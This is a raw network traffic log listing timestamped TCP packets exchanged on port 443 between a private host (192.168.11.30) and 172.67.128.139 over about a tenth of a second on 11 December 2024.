Dec 11, 2024 12:16:07.894511938 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.894679070 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.894699097 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.896075010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.896092892 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.896270990 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.896416903 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.896435022 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.898416996 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.898437977 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.898652077 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.898670912 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.898724079 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.900058985 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.900077105 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.900226116 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.900243998 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.900420904 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.900485992 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.901884079 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.901904106 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.902214050 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.902343988 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.902362108 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.903599977 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.903620958 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.903762102 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.903779984 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.903841019 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.903944969 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.905354977 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.905374050 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.905514956 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.905637980 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.905657053 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.905744076 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.907695055 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.907717943 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.907871008 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.907891035 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.907922983 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.908015966 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.909466982 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.909486055 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.909637928 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.909653902 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.909756899 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.911129951 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.911148071 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.911314964 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.911469936 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.911480904 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.912986040 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.913007021 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.913136005 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.913153887 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.913225889 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.913357019 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.915527105 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.915545940 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.915774107 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.915863037 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.915927887 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.915946007 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.916095972 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.928910971 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.928931952 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.929152012 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.929169893 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.929233074 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.929336071 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.929755926 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.929774046 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.929956913 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.930088043 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.930107117 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.931535959 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.931556940 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.931771040 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.931790113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.931855917 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.931958914 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.932598114 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.932615995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.932832956 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.932851076 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.933012962 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.934228897 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.934248924 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.934573889 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.934592009 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.934604883 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.936067104 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.936088085 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.936211109 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.936228991 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.936315060 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.936409950 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.950841904 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.950854063 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.951097012 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.951108932 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.951162100 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.951190948 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.951194048 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.951343060 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.951354980 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.951406956 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.951575041 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.951615095 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.951628923 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.951690912 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.951703072 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.951797962 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.951809883 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.951909065 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.951925039 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.952053070 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.952090025 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.952101946 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.952199936 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.952213049 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.952414036 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.952486038 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.952586889 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.952600002 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.952667952 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.953016043 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.953578949 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.953589916 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.953824997 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.953835011 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.954175949 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.955136061 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.955146074 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.955421925 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.955427885 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.955600977 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.956211090 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.956223011 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.956381083 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.956386089 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.956463099 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.956581116 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.958403111 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.958415031 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.958564043 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.958638906 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.958651066 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.958741903 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.959506989 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.959522009 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.959731102 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.959731102 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.959743977 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.959911108 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.961132050 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.961143017 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.961222887 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.961457968 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.961468935 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.962023973 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.962038040 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.962157965 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.962169886 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.962405920 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.963887930 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.963901043 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.964246035 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.964257002 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.965651989 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.965670109 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.965838909 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.965851068 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.965998888 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.966976881 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.966989040 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.967154026 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.967165947 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.967242002 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.967348099 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.968653917 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.968664885 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.968853951 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.968950987 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.968962908 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.969022989 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.970056057 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.970069885 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.970222950 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.970236063 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.970298052 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.970408916 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.971566916 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.971576929 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.971726894 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.971815109 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.971827030 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.971898079 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.972790956 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.972804070 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.972933054 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.972939014 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.973042965 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.973229885 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.974632025 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.974642038 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.975152016 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.975152016 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.975152016 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.975167036 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.975661993 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.975673914 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.975913048 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.975924015 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.976094007 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.976198912 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.977418900 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.977428913 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.977624893 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.977637053 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.977698088 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.977826118 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.978741884 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.978751898 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.978892088 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.978984118 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.978996038 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.979059935 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.980179071 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.980190992 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.980371952 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.980384111 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.980465889 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.980554104 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.982018948 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.982028961 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.982232094 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.982244968 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.982358932 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.983530045 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.983544111 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.983828068 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.983834028 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.983921051 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.983973026 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.984047890 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.984400988 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.984411001 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.984584093 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.984584093 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.984591007 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.984657049 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.984680891 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.984730005 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.986380100 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.986392975 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.986557007 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.986563921 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.986687899 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.988110065 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.988121033 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.988379002 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.988393068 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.988904953 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.988917112 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.989240885 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.989253044 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.990706921 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.990716934 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.991126060 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.991139889 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.992039919 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.992052078 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.992244005 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.992255926 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.992387056 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.993830919 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.993840933 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.993992090 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.994004011 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.994172096 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.994184971 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.994678974 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.994688988 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.994844913 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.994957924 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.995049000 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.995059967 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.995126963 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.995323896 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.996442080 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.996453047 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.996634960 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.996911049 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.996922970 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.997267962 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.997556925 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.997566938 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.997744083 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.997796059 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.997807980 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.997899055 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.998158932 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.999296904 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.999308109 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.999644041 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.999655962 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.999840021 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.000320911 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.000330925 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.000480890 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.000581026 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.000592947 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.000668049 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.000849009 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.001981020 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.001991034 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.002196074 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.002209902 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.002319098 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.002408028 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.002774954 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.002785921 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.003065109 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.003073931 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.003277063 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.003846884 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.003858089 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.004251003 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.004256964 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.004432917 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.004777908 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.004787922 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.005168915 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.005175114 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.005249977 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.005408049 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.005893946 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.005903959 CET	443	49840	172.67.128.139	192.168.11.30
